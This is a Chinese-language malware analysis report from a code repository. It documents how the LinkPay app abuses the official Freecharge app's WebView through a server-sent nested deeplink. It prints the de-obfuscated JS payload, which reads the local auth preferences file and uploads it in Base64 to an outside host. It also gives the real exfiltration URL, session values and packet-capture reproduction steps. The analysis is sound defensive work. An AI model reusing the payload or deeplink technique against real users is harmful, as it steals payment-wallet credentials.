Files
rnpay/docs/freecharge.md
T
2026-07-29 22:41:33 +08:00

483 lines
18 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# LinkPay Freecharge 授权分析
## 样本来源
| 项目 | 值 |
|------|-----|
| 平台 App | LinkPay`uni.app.UNIBA00479`v1.1.9 |
| 后端 API | `https://api.linkcorex.com` |
| 钱包类型 | `walletType = 2` / `ctype = 2` |
| 授权页面 | `pages/wallet/freecharge-auth``FreechargeAuthPage` |
| 分析样本 | `linkpay/apks/linkpay.apk` |
| 抓包样本 | `freecharge_logs/logsrv_2026-07-28_23-06-50_15.har``freePrepare` |
> LinkPay 是 UniAppDCloud)应用。Freecharge **不下载魔改 APK**,也**不使用** InstallPlugin`xyz.rush.plugin`)。但授权链路会利用**官方 Freecharge App 的 WebView 容器**读取本地 auth 文件并外传。
---
## 结论摘要
LinkPay 的 Freecharge「授权」表面上是官方 App 授权 + 服务端 `tempKey` 会话,**实际抓包显示**
1. `freePrepare` 返回嵌套 deeplink,在官方 Freecharge 内打开 WebView`action=wv`
2. WebView 加载服务端注入的 HTML/JS**读取官方 App 本地 auth 文件**并 Base64 上传
3. LinkPay 客户端轮询 `check`,待后端收到凭据后返回 `upiList`
4. 用户选择 UPI → `linkConfirm` 完成绑定
**不需要魔改 Freecharge 包**,也**没有** MobiKwik 那套 `Tail-TokenReceiver` 本地 Hook;但**并非正规 OAuth**,而是通过官方 App WebView 实现的**凭据窃取**。
---
## 与其他钱包的分流逻辑
添加钱包时,服务端返回的 `isHook` 决定走哪条链路(`add-wallet` 页面):
| `isHook` | 目标页面 | 机制 |
|----------|----------|------|
| `1` | `wallet-guide` | 下载服务端 APK → 安装 → 原生插件读 token |
| `2` | **`freecharge-auth`** | **官方 App WebView + 读 auth 文件 + 后端 `tempKey` 会话** |
| 其他 + `url` | `web-login` | WebView 打开登录页 |
| 其他 + `otp` | `wizard` | OTP 向导流程 |
Freecharge 固定为 `isHook = 2`,因此不会进入 `wallet-guide`,也不会在 `downloads/` 目录留下 APK 缓存。
对比 MobiKwik`walletType = 4``isHook = 1`):
```
MobiKwik: freePrepare ❌ → wallet-guide → 下载 APK → TokenReceiver Hook
Freecharge: freePrepare ✅ → freecharge-auth → openURL → 轮询 check → linkConfirm
```
---
## 整体链路
```
LinkPay (uni.app.UNIBA00479)
│ 用户选择 Freecharge 绑定
│ isHook=2 → /pages/wallet/freecharge-auth
POST api.linkcorex.com/.../freePrepare { ctype: 2 }
│ 返回 tempKey + url(嵌套 deeplink + 恶意 HTML
plus.runtime.openURL(url)
│ freecharge://home?action=wv&url=<内层 fc/app?html=...>
官方 Freecharge App 打开 WebView
│ JS 读取 file:///data/data/com.freecharge.android/.../auth.preferences_pb
│ POST api.linkadminpro.com/.../freeSubmit { b64, userId, sign }
LinkPay 轮询 POST api.linkcorex.com/.../check { tempKey }
│ status = 3 且 upiList 非空 → 授权完成
用户在 LinkPay 选择要绑定的 UPI
POST api.linkcorex.com/.../linkConfirm { tempKey, upiList }
绑定成功 → /pages/wallet/add-success
```
---
## 前端实现(FreechargeAuthPage
源码位置:`assets/apps/__UNI__BA00479/www/app-service.js`webpack module `55bb`
### 状态机
| 状态 | 含义 |
|------|------|
| `preparing` | 正在调用 `freePrepare` |
| `authStarted` | 已拿到 `authUrl`,等待用户在 Freecharge 完成授权 |
| `prepareDone` | 轮询成功,UPI 列表已返回,等待用户选择 |
| `expired` | 会话超时(默认 `expireSeconds`,通常 600s |
| `confirming` | 正在调用 `linkConfirm` |
### 关键方法
| 方法 | 作用 |
|------|------|
| `startAuthentication()` | 调用 `freePrepare`,启动倒计时和轮询,自动 `openAuthUrl()` |
| `openAuthUrl()` | `plus.runtime.openURL(this.authUrl)` 打开官方授权 |
| `checkAuthorization()` | 轮询 `check` APIstatus=3 时解析 `upiList` |
| `initUpiSelection()` | 加载多选配置、历史已绑 UPI,初始化选择列表 |
| `confirmLink()` | 提交选中的 UPI 到 `linkConfirm` |
### UI 文案(暗示依赖官方 App)
- *"Please complete the authorization in Freecharge."*
- *"Return here after completing authorization in Freecharge."*
- 按钮:*"Go to Authenticate"* / *"Open Freecharge Again"*
---
## API 接口
Base URL`https://api.linkcorex.com`
| 接口 | 方法 | 路径 | 请求 | 响应要点 |
|------|------|------|------|----------|
| 准备授权 | POST | `/app/ct/app/collection/freePrepare` | `{ ctype: 2, walletId?, id?, ... }` | `{ tempKey, url, phone, expireSeconds }` |
| 轮询结果 | POST | `/app/ct/app/collection/check` | `{ tempKey }` | `{ status, upiList, phone, sessionId, sign, ... }` |
| **凭据回传** | POST | `api.linkadminpro.com/.../freeSubmit` | `{ b64, userId, sign }` + `sessionId` query | `{ code: 1000, data: true }` |
| 确认绑定 | POST | `/app/ct/app/collection/linkConfirm` | `{ tempKey, upiList[] }` | 成功 code=1000 |
| UPI 多选配置 | GET | `/app/ct/type/ctType/{id}` | wallet config id | `{ multiple, multipleNum }` |
| 已绑钱包列表 | GET | `/app/ct/app/collection/getWalletList` | — | 用于锁定历史 UPI |
### `check` 轮询逻辑
- 首次延迟 1200ms,之后每 1500ms 重试
- `status === 3``upiList.length > 0` → 授权完成
- 网络失败自动重试,显示 *"Network is unstable. Retrying automatically..."*
- 超时后 `expired = true`,需重新 `startAuthentication()`
### UPI 格式校验
```javascript
/^[a-zA-Z0-9._-]{2,64}@[a-zA-Z0-9.-]{2,64}$/
```
---
## 付款时的 Freecharge 调用
INR 订单付款页(`pages/payment/inr-order`)对 Freecharge 单独处理:
```javascript
// payoutWalletType === 2 时使用 freechargeIntent,而非通用 intent
if (payoutWalletType === 2) {
plus.runtime.openURL(order.freechargeIntent)
} else {
plus.runtime.openURL(order.intent) // MobiKwik / PhonePe 等
}
```
付款同样通过 `plus.runtime.openURL` 调起官方 Freecharge,不涉及魔改包。
---
## 与 ShowPay / WinPay 的对比
| 维度 | LinkPay Freecharge | ShowPay / WinPay Freecharge |
|------|-------------------|----------------------------|
| 下载器 | 无(官方包即可) | InstallPlugin`xyz.rush.plugin` |
| APK 来源 | 不下载 | 缓存 `fcv76.apk`(魔改包) |
| 包名 | 官方 `com.freecharge.android` | 同名但注入后门 |
| 授权方式 | 官方 App WebView + 读 auth 文件 + `tempKey` 轮询 | AIDL `com.longfafa.pay.BIND_SERVICE` |
| 本地 Hook | 无原生插件;WebView JS 读本地文件 | 有(`com.longfafa.paylib.JobService` |
| 获取数据 | `auth.preferences_pb` → 服务端解析 UPI | token / 手机号 / UPI / FCM 等(本地 IPC 窃取) |
| 后端 | `api.linkcorex.com` + `api.linkadminpro.com` | `api.showpay-web.com` 等 |
---
## 获取到的数据范围
LinkPay Freecharge 授权完成后,客户端可见的数据:
| 数据 | 来源 | 说明 |
|------|------|------|
| UPI 地址列表 | `check` 响应 `upiList` | 用户在 LinkPay 中选择子集提交 |
| 手机号 | `freePrepare` / `check` 响应 `phone` | 用于匹配历史绑定 |
| 绑定关系 | `linkConfirm` 成功后写入平台 | walletId + UPI + phone |
**抓包确认的实际窃取行为**`freecharge_logs`):
| 行为 | 详情 |
|------|------|
| 读取本地 auth 文件 | `com.freecharge.android.auth.preferences_pb` |
| 外传域名 | `api.linkadminpro.com`(与主 API `api.linkcorex.com` 不同) |
| 外传接口 | `POST /app/ct/app/collection/freeSubmit?sessionId=...` |
| 外传内容 | auth 文件 Base64`{ b64, userId, sign }` |
**未观察到**以下行为:
- 下载 / 安装魔改 Freecharge APK
- 使用 `Tail-TokenReceiver` 原生插件(Freecharge 授权页不调用)
- 注册 `com.longfafa.pay.BIND_SERVICE` 类 IPC 后门
---
## 授权 Deeplink(核心,已抓包确认)
### 关键结论
**LinkPay 客户端里没有写死 Freecharge 授权 deeplink。**
`url` 完全由服务端在 `freePrepare` 响应里动态下发(约 21KB),前端只做:
```javascript
// freecharge-auth.vue → openAuthUrl()
plus.runtime.openURL(this.authUrl)
// authUrl = freePrepare 响应里的 data.url
```
客户端 JS 中**不存在** `freecharge://``fc/app` 等硬编码字符串;但服务端下发的 URL 是**三层嵌套结构**。
### freePrepare 真实响应(`freecharge_logs`2026-07-28 23:06:50
```json
{
"code": 1000,
"data": {
"ctype": 2,
"phone": "",
"expireSeconds": 600,
"tempKey": "9c63f226-7554-888b-9c07-fc80e2dbb85f",
"url": "freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=https%3A%2F%2Ffreecharge.in%2Ffc%2Fapp%3Faction%3Dwv%26...%26html%3D%253C%2521DOCTYPE%252Bhtml%253E..."
}
}
```
### 三层 Deeplink 结构
**第 1 层 — 外层(LinkPay `openURL` 直接打开)**
```text
freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=<内层 URL 编码>
```
| 参数 | 值 | 含义 |
|------|-----|------|
| `action` | `wv` | 打开 WebView 容器(非 IncoinPay 付款用的 `view` |
| `displayBar` | `false` | 隐藏导航栏 |
| `showLoader` | `true` | 显示加载动画 |
| `url` | 内层 `https://freecharge.in/fc/app?...` | 嵌套目标 |
**第 2 层 — 内层(Freecharge App 内 WebView 加载)**
```text
https://freecharge.in/fc/app?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&html=<HTML+JS>
```
**第 3 层 — 嵌入 HTML/JS(恶意载荷)**
完整载荷已从 HAR 解码,保存在:
```
linkpay/freecharge_payload/
├── auth_webview.html # 格式化后的 HTML(含可读 JS)
├── auth_webview_raw.html # 从 html= 参数直接解码的原始串
└── auth_payload.js # eval(String.fromCharCode(...)) 解码后的 JS
```
**完整 HTML 结构:**
```html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<style>
body{margin:0;display:flex;flex-direction:column;align-items:center;
justify-content:center;min-height:100vh;background:#f5f5f5;font-family:sans-serif;}
#icon{font-size:64px;margin-bottom:16px}
#msg{font-size:20px;font-weight:bold;margin-bottom:12px;color:#333}
#hint{font-size:14px;color:#888;text-align:center;padding:0 24px}
</style>
</head>
<body>
<div id="icon"></div>
<div id="msg">Processing…</div>
<div id="hint">Please wait</div>
<script>eval(String.fromCharCode(...))</script> <!-- 9418 字符,见 auth_payload.js -->
</body>
</html>
```
页面 UI 显示:
-*Processing…*
- *Please wait*
- 成功:✅ *Authorization Successful* / *You can now return to the previous app.*
- 失败:❌ *Authorization Failed*
**完整 JS 载荷(`auth_payload.js`,已去混淆):**
```javascript
(function(){
var F = 'file:///data/data/com.freecharge.android/files/datastore/com.freecharge.android.auth.preferences_pb';
var UPLOAD = 'https://api.linkadminpro.com/app/ct/app/collection/freeSubmit?sessionId=3438ded7-e0a2-451e-9ef3-6f3af2862e14';
var UID = 242204;
var SIGN = '9c63f2267554888b9c07fc80e2dbb85f';
function showSuccess() { /* ✅ Authorization Successful */ }
function showFail(reason) { /* ❌ Authorization Failed */ }
function toB64(bin) {
// 逐字节读取二进制,btoa 编码
}
function xhrSync(method, url, body, ct) {
// 同步 XMLHttpRequest
}
function uploadJSONP(b64) {
// POST 失败时 fallback:动态插入 <script src=UPLOAD&callback=...&b64=...>
}
function doUpload(b64) {
// 优先 POST JSON { b64, userId, sign },失败走 JSONP
}
function run() {
// 1. 检查 context:仅允许 file: / null originFreecharge WebView 本地页)
if (location.protocol !== 'file:' && location.origin !== 'null' && location.origin !== '') {
showFail('Wrong context'); return;
}
// 2. 同步 GET 读取 auth.preferences_pb
// 3. toB64 编码
// 4. doUpload 上传
}
try { run(); } catch(e) { showFail('Unexpected error'); }
})();
```
**JS 行为要点:**
| 步骤 | 行为 |
|------|------|
| 环境检查 | 非 `file:` / `null` origin 则拒绝(防浏览器直接打开) |
| 读文件 | 同步 XHR GET `auth.preferences_pb``overrideMimeType('text/plain; charset=x-user-defined')` |
| 编码 | 逐字节 `charCodeAt & 255``btoa` |
| 上传 | 先 `POST` JSON;失败则 JSONP `<script src=...>` |
| 成功判定 | 响应 `{ code: 1000, data: true }` |
| 混淆 | 外层 HTML 用 `eval(String.fromCharCode(...))` 隐藏 9418 字符 JS |
### 关联会话字段(`check` 响应,同一次抓包)
| 字段 | 值 |
|------|-----|
| `tempKey` | `9c63f226-7554-888b-9c07-fc80e2dbb85f` |
| `sessionId` | `3438ded7-e0a2-451e-9ef3-6f3af2862e14` |
| `sign` | `9c63f2267554888b9c07fc80e2dbb85f` |
| `userInfoId` | `242204` |
| `status` | `0`(轮询中,`upiList` 为空) |
| `addressMd5` | `adb833b5b838b3f5be46c6971b331f5a` |
---
### 官方 Freecharge App 注册的 Scheme`com.freecharge.android` v21.3.0
`/storage/emulated/0/Download/freecharge.apk` Manifest 提取:
| Scheme | Host / Path | 用途 | 入口 Activity |
|--------|-------------|------|---------------|
| `freecharge://` | (无 host | 通用 deep link | `MainActivity` |
| `freecharge://` | `home` | 应用内页面跳转 | `MainActivity` |
| `freecharge://` | `login` | **登录/授权相关** | `MainActivity` |
| `freecharge://` | `splash` | 启动页 | `MainActivity` |
| `freecharge://` | `helpcenter` | 帮助中心 | `HelpCenterActivity` |
| `freecharge://` | `pay` | UPI 支付 | `UpiIntentActivity` |
| `freechargeupi://` | `pay` | UPI 支付 | `UpiIntentActivity` |
| `freechargegtk://` | (无 host | GTK 回调(类似 MobiKwik 的 `mobikwikgtk://getToken` | `MainActivity` |
| `upi://` | `pay` / `mandate` | 标准 UPI | `UpiIntentActivity` |
| `https://` | `freecharge.in` / `www.freecharge.in` | App Link | `MainActivity` |
| `https://` | `freechargebiz.in` / `www.freechargebiz.in` | Biz 版 App Link | `MainActivity` |
| `https://` | `frch.in` | 短链 | `MainActivity` |
官方 App 内还内置 `res/raw/deeplink_cached.json`,常见 **Biz 版 Web 容器**格式:
```
https://www.freechargebiz.in/fc/app?action=wv&title=...&url=https://www.freecharge.in/...?isAppSdk=true&shortCode=XX
```
也有原生页跳转:
```
https://www.freechargebiz.in/fc/app?action=view&page=home
https://www.freechargebiz.in/fc/app?action=view&page=paylater
```
---
### 参考:同类平台的 Freecharge Deeplink
#### 1. IncoinPay 付款(已反编译确认)
`GrabDetailActivity.java` 构造 Freecharge 付款链接:
```java
// toolType == 8 (Freecharge)
cVar2.put("action", "view");
cVar2.put("page", "upi_pay");
cVar2.put("receiverVpa", account + "@" + ifsc + ".ifsc.npci");
str = "freecharge://home?" + queryString;
// 最终形如:
// freecharge://home?action=view&page=upi_pay&receiverVpa=XXXX@IFSC.ifsc.npci
```
LinkPay 付款侧同样用 `freechargeIntent`,结构应与上述类似(服务端下发,非客户端拼)。
#### 2. LinkPay 授权 vs 付款(已确认 vs 推测)
| 场景 | 字段 | 来源 API | Deeplink 形态 |
|------|------|----------|---------------|
| **绑定授权** | `authUrl` / `data.url` | `freePrepare` | `freecharge://home?action=wv&url=<fc/app?html=恶意JS>` ✅ 已抓包 |
| **订单付款** | `freechargeIntent` | 订单详情 API | `freecharge://home?action=view&page=upi_pay&receiverVpa=...`(参考 IncoinPay |
授权与付款使用**不同的 `action`**
- 授权:`action=wv`WebView + 读文件)
- 付款:`action=view&page=upi_pay`(原生 UPI 页)
#### 3. 对比 MobiKwikLinkPay APK 下载链路)
| | Freecharge 授权 | MobiKwik 绑定 |
|---|---|---|
| 入口 | `freePrepare``openURL` | `wallet-guide` → 下载 APK → `TokenReceiver` |
| 读凭据 | WebView JS 读 `preferences_pb` | 原生插件 `openTargetAppByType("newmob")` |
| 回传 | `api.linkadminpro.com/freeSubmit` | 本地存储 + `linkPrepare` |
| 魔改包 | 不需要 | 需要(GitHub 下发 APK |
---
### 服务端配置补充(`listEnabledCtTypes` 抓包)
Freecharge`ctType=2`)的 `loginOption` 字段:
```json
{
"url": null,
"valueType": null,
"otp": 4,
"isHook": 2,
"guideUrl": "",
"apkDownloadUrl": "https://d1a6nbwk78otoo.cloudfront.net/free2368484936.apk"
}
```
> 注意:虽然配置了 `apkDownloadUrl`,但 `isHook=2` 实际走 `freecharge-auth` 而非 `wallet-guide`,该 APK 链接**未被本次授权流程使用**。
---
## 复现与验证建议
1. 在 LinkPay 中添加 Freecharge 钱包(`isHook=2` 会自动进入 `freecharge-auth` 页)
2. 安装**官方** Freecharge`com.freecharge.android`
3. 抓包目标:
- `POST api.linkcorex.com/.../freePrepare` → 记录 `data.url` 完整字符串(约 21KB
- `POST api.linkadminpro.com/.../freeSubmit` → 记录 `b64` 外传
- `POST api.linkcorex.com/.../check` → 观察 `status``0``3``upiList`
- `POST api.linkcorex.com/.../linkConfirm` → 确认最终提交字段
4. 对比:LinkPay `downloads/` 目录应**无** Freecharge APK(与 MobiKwik 不同)
---
## 相关文件
```
linkpay/
├── apks/
│ ├── linkpay.apk # LinkPay 本体
│ └── MobiKwik_linkpay.apk # 对比:MobiKwik 走 APK 下载链路
├── freecharge_payload/ # 从 HAR 解码的嵌套 HTML/JS 载荷
│ ├── auth_webview.html
│ ├── auth_webview_raw.html
│ └── auth_payload.js
└── freecharge.md # 本文档
freecharge_logs/ # 抓包 HAR(含 freePrepare 真实 deeplink
└── logsrv_2026-07-28_23-06-50_15.har
```